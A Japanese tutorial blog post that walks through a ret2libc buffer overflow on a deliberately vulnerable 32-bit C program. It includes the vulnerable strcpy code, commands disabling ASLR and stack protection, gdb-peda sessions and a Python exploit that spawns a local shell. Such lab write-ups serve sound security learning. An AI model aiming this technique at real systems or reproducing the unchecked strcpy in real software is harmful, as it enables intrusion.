概要
vuln関数からのリターンアドレスを書き換えて、system("/bin/sh")を呼び出してみる。尚、system関数はlibcの関数のため、return to libc (ret2libc)攻撃に分類されることになるが、やってることは前回の https://qiita.com/KazuMatsuHack9981/items/f289c0266419b6ee0c23 とあんまかわらない。
対象コード
#include <stdio.h>
#include <string.h>
void vuln(char *str) {
char buf[8];
strcpy(buf, str);
}
int main(int argc, char *argv[]){
vuln(argv[1]);
return 0;
}
vuln関数のスタックフレームにbuf配列8要素分の領域が確保されているが、その8要素よりも大きい値をstrcpyすることにより、bufの下のリターンアドレスを書き換える。今回はlibc関数のsystem関数の先頭アドレスがリターンアドレスに来るように入力するが、注意するのはどのように引数である"/bin/sh"を配置するかという点。
コンパイル方法やASLR無効化
###コンパイル
gcc -m32 -no-pie -fno-stack-protector -o bof test.c
###ASLR無効化/有効化
sudo sysctl -w kernel.randomize_va_space=0 # 無効化
sudo sysctl -w kernel.randomize_va_space=2 # 有効化(元に戻す)
関数呼び出しの流れの確認
関数呼び出しは本来以下のような順番で行われる。
- 関数の引数をスタックにpush
- リターンアドレスをスタックにpush
- 実行したい関数の先頭アドレスをeipにセットする
引数が二つ以上の場合は先にpush arg2
をしてからpush arg1
のように、スタックの上に最初の引数が来るようにする。また、2,3のステップはcall命令で一気に行われる。よって、引数が一つである関数が呼ばれる時、スタックはこのようになってないといけないことがわかる。(gdbのスタックの表示と同じ配置にしてる)
[----------stack----------]
次に実行される(eipにセットされる)関数の先頭アドレス
↑の関数が終わった後戻ってくるリターンアドレス
引数1
[-------------------------]
よってバッファオーバーフロー攻撃で関数を呼び出す際にも、これと同じスタックの状態を作らなければならない。どのような順番で入力を行えばいいのかが問題だが、入力はスタックの上から下へ入っていくので、以下のようにすれば関数を呼び出す際のスタックの状態を作ることができる。
<パディング> <実行したい関数の先頭アドレス> <実行したい関数の終了後戻ってくるリターンアドレス> <引数1>
system関数や/bin/shの文字列のアドレスの探索
入力の形が分かったので、具体的にリターン先のアドレスとなるsystem関数の先頭アドレスと、その引数である /bin/sh
の文字列を探してみる。(注意するのは、/bin/sh
のプログラムの場所を探す必要はなく、system("/bin/sh")
の引数はあくまで文字列なので、"/bin/sh"という文字列を探せばいい)。
system関数の場所
→ hackprok:~/test/ret2libc$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ b main
Breakpoint 1 at 0x804919b
gdb-peda$ r
Starting program: /home/hackprok/test/ret2libc/bof
<--- 略 --->
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e06f40 <system>
いきなりp system
しても出てこないので、とりあえず適当にmainにブレークポイント打ってrunし、そのあとp system
する。system関数は0xf7e06f40
のアドレスから始まることがわかる。
/bin/shの文字列の場所
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4e32b ("/bin/sh")
find
コマンドで簡単にわかる。なんでこの文字列がプログラム中に存在するのかはわからないが、気にしない。アドレス0xf7f4e32b
に配置されていることが確認できた。
パディングの確認
入力の何文字目からがリターンアドレスに相当するのかを、gdb-pedaの機能であるpattc
を用いて確認する。まず、ブレークポイントをどこに打つかだが、vuln関数が実行された後、最後のret命令によりvulnから呼び出し元のmain関数へリターンするわけなので、ret命令を実行する直後のスタックの一番上にあるのがリターンアドレスに相当することがわかる。よってここさえ確認すればよいので、vuln関数の最後にret命令のところにブレークポイントを打つ。
ading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
0x08049162 <+0>: push ebp
0x08049163 <+1>: mov ebp,esp
0x08049165 <+3>: push ebx
0x08049166 <+4>: sub esp,0x14
0x08049169 <+7>: call 0x80491cb <__x86.get_pc_thunk.ax>
0x0804916e <+12>: add eax,0x2e92
0x08049173 <+17>: sub esp,0x8
0x08049176 <+20>: push DWORD PTR [ebp+0x8]
0x08049179 <+23>: lea edx,[ebp-0x10]
0x0804917c <+26>: push edx
0x0804917d <+27>: mov ebx,eax
0x0804917f <+29>: call 0x8049030 <strcpy@plt>
0x08049184 <+34>: add esp,0x10
0x08049187 <+37>: nop
0x08049188 <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x0804918b <+41>: leave
0x0804918c <+42>: ret
End of assembler dump.
gdb-peda$ b *0x0804918c
Breakpoint 1 at 0x804918c
次に、入力文字列であるパターンをとりあえず50文字以下のように生成してコピーする。
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
その後、以下のように実行する。(ダブルクオートだと上手くいかないので注意)
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Starting program: /home/hackprok/test/ret2libc/bof 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb28 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EBX: 0x6e414124 ('$AAn')
ECX: 0xffffce70 ("AaAA0AAFAAbA")
EDX: 0xffffcb4e ("AaAA0AAFAAbA")
ESI: 0xf7fa7000 --> 0x1e4d6c
EDI: 0xf7fa7000 --> 0x1e4d6c
EBP: 0x41434141 ('AACA')
ESP: 0xffffcb3c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EIP: 0x804918c (<vuln+42>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049187 <vuln+37>: nop
0x8049188 <vuln+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804918b <vuln+41>: leave
=> 0x804918c <vuln+42>: ret
0x804918d <main>: lea ecx,[esp+0x4]
0x8049191 <main+4>: and esp,0xfffffff0
0x8049194 <main+7>: push DWORD PTR [ecx-0x4]
0x8049197 <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb3c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
0004| 0xffffcb40 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0xffffcb44 ("AA;AA)AAEAAaAA0AAFAAbA")
0012| 0xffffcb48 ("A)AAEAAaAA0AAFAAbA")
0016| 0xffffcb4c ("EAAaAA0AAFAAbA")
0020| 0xffffcb50 ("AA0AAFAAbA")
0024| 0xffffcb54 ("AFAAbA")
0028| 0xffffcb58 --> 0x4162 ('bA')
0032| 0xffffcb5c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0036| 0xffffcb60 --> 0xf7fa7000 --> 0x1e4d6c
0040| 0xffffcb64 --> 0xf7fa7000 --> 0x1e4d6c
0044| 0xffffcb68 --> 0x0
0048| 0xffffcb6c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0052| 0xffffcb70 --> 0x2
0056| 0xffffcb74 --> 0xffffcc14 --> 0xffffce29 ("/home/hackprok/test/ret2libc/bof")
0060| 0xffffcb78 --> 0xffffcc20 --> 0xffffce7d ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804918c in vuln ()
よって、スタックの一番上にあるのはA-AA
なので、これが入力文字列中の何番目かを調べるために以下のコマンドを実行する。
gdb-peda$ patto 'A-AA'
A-AA found at offset: 20
20文字目からであることが確認できる。ここで、これは1からじゃなく0から数えているので、0~19番目まで、つまり最初の20文字適当な文字をパディングとして入れておけばいいことがわかる。
エクスプロイトコードの作成
\x90... といちいち打ち込むのは面倒なのでpythonで簡単なコードを書いて入力を作る。以上までで、入力の順番はこんな感じであり、
<パディング> <実行したい関数の先頭アドレス> <実行したい関数が終了後戻ってくるリターンアドレス> <引数1>
- system関数の先頭アドレスは
0xf7e06f40
-
/bin/sh
の文字列が格納されているアドレスは0xf7f4e32b
- パディングは20文字
であることがわかっている。ここで、system関数から抜けた後、どこのアドレスにリターンするかである<実行したい関数が終了後戻ってくるリターンアドレス>
は、セグフォで終わってもいいならなんでもよいので、とりあえずここでは適当に AAAA
としてみる。よって以上に基づき、以下のようにコードを書けばいい。
#!/usr/bin/env python
import os
import struct
system_addr = 0xf7e06f40
dummy_addr = "AAAA"
binsh_addr = 0xf7f4e32b
payload = "A" * 20
payload += struct.pack("I", system_addr)
payload += dummy_addr
payload += struct.pack("I", binsh_addr)
# print("%s" % payload)
os.system("./bof \"%s\"" % payload)
これを実行すると、シェルが起動するはず!
→ hackprok:~/test/ret2libc$ python2 exploit.py
$ ls
bof compile.sh exploit.py test.c
$ exit
Segmentation fault
うまくいかなかったら、次の項目のようにgdb-pedaでスタックがどうなってるか見てみる。
gdb-pedaで実行時のスタックの様子を確認
うまく行かなかった場合など、このエクスプロイト実行時の様子をgdbで確認したいときは、まず上のpythonのエクスプロイトコードを以下のように変更する。
#!/usr/bin/env python
import os
import struct
system_addr = 0xf7e06f40
dummy_addr = "AAAA"
binsh_addr = 0xf7f4e32b
payload = "A" * 20
payload += struct.pack("I", system_addr)
payload += dummy_addr
payload += struct.pack("I", binsh_addr)
print("%s" % payload)
# os.system("./bof \"%s\"" % payload)
次に、gdbで先ほどと同様、vuln関数の最後のret命令にブレークポイントを打つ。
→ hackprok:~/test/ret2libc$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
0x08049162 <+0>: push ebp
0x08049163 <+1>: mov ebp,esp
0x08049165 <+3>: push ebx
0x08049166 <+4>: sub esp,0x14
0x08049169 <+7>: call 0x80491cb <__x86.get_pc_thunk.ax>
0x0804916e <+12>: add eax,0x2e92
0x08049173 <+17>: sub esp,0x8
0x08049176 <+20>: push DWORD PTR [ebp+0x8]
0x08049179 <+23>: lea edx,[ebp-0x10]
0x0804917c <+26>: push edx
0x0804917d <+27>: mov ebx,eax
0x0804917f <+29>: call 0x8049030 <strcpy@plt>
0x08049184 <+34>: add esp,0x10
0x08049187 <+37>: nop
0x08049188 <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x0804918b <+41>: leave
0x0804918c <+42>: ret
End of assembler dump.
gdb-peda$ b *0x0804918c
Breakpoint 1 at 0x804918c
そして、以下のようにしてrun
する。
gdb-peda$ r `python2 exploit.py`
Starting program: /home/hackprok/test/ret2libc/bof `python2 exploit.py`
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb38 ('A' <repeats 20 times>, "@o\340\367AAAA+\343\364", <incomplete sequence \367>)
EBX: 0x41414141 ('AAAA')
ECX: 0xffffce70 --> 0xf7e06f40 (<system>: call 0xf7f042ad)
EDX: 0xffffcb4c --> 0xf7e06f40 (<system>: call 0xf7f042ad)
ESI: 0xf7fa7000 --> 0x1e4d6c
EDI: 0xf7fa7000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcb4c --> 0xf7e06f40 (<system>: call 0xf7f042ad)
EIP: 0x804918c (<vuln+42>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049187 <vuln+37>: nop
0x8049188 <vuln+38>: mov ebx,DWORD PTR [ebp-0x4]
0x804918b <vuln+41>: leave
=> 0x804918c <vuln+42>: ret
0x804918d <main>: lea ecx,[esp+0x4]
0x8049191 <main+4>: and esp,0xfffffff0
0x8049194 <main+7>: push DWORD PTR [ecx-0x4]
0x8049197 <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb4c --> 0xf7e06f40 (<system>: call 0xf7f042ad)
0004| 0xffffcb50 ("AAAA+\343\364", <incomplete sequence \367>)
0008| 0xffffcb54 --> 0xf7f4e32b ("/bin/sh")
0012| 0xffffcb58 --> 0xffffcc00 --> 0x804918d (<main>: lea ecx,[esp+0x4])
0016| 0xffffcb5c --> 0x80491a3 (<main+22>: add eax,0x2e5d)
0020| 0xffffcb60 --> 0xf7fe4080 (push ebp)
0024| 0xffffcb64 --> 0xffffcb80 --> 0x2
0028| 0xffffcb68 --> 0x0
0032| 0xffffcb6c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0036| 0xffffcb70 --> 0xf7fa7000 --> 0x1e4d6c
0040| 0xffffcb74 --> 0xf7fa7000 --> 0x1e4d6c
0044| 0xffffcb78 --> 0x0
0048| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0052| 0xffffcb80 --> 0x2
0056| 0xffffcb84 --> 0xffffcc24 --> 0xffffce3b ("/home/hackprok/test/ret2libc/bof")
0060| 0xffffcb88 --> 0xffffcc30 --> 0xffffce7d ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x0804918c in vuln ()
まずこのブレークポイントの時点で確認すべきなのは、スタックの上にsystem関数の先頭アドレスが来ているかということ、その下にダミーのリターンアドレスであるAAAA
が入っており、その下に/bin/sh
の文字列が入っているかということである。もしうまくいってない場合は改行文字が入ってたりとかの理由でスタックにこのようにうまく入っていない可能性が大きい。
今回の内容が理解できた後は?
引数無しの関数呼び出しと引数有りの関数呼び出しができたら、次は一つの関数だけではなく、複数の関数を呼び出すReturn Oriented Programming(ROP)をやると良い。Segmentation Faultで終わるのが気持ち悪いからそれを直そうとしたいのはわかるが、これもROPをやってからのほうがいい。なぜなら、正常終了させようとしてもスタックとかレジスタがごちゃごちゃになってるのでうまく終わらないため、ROPより難しいことだから。
ROPが終わったら、次は
- 書式文字列型攻撃
- GOT Overwrite
のように新しいやつもやってみるのがいいと思う。
参考
このサイトがスライドでパラパラ漫画みたいにBOFのスタックの様子を書いてくれているので、これ見るとよりイメージがしやすくなる。
https://speakerdeck.com/m412u/xue-nei-pwnmian-qiang-hui?slide=28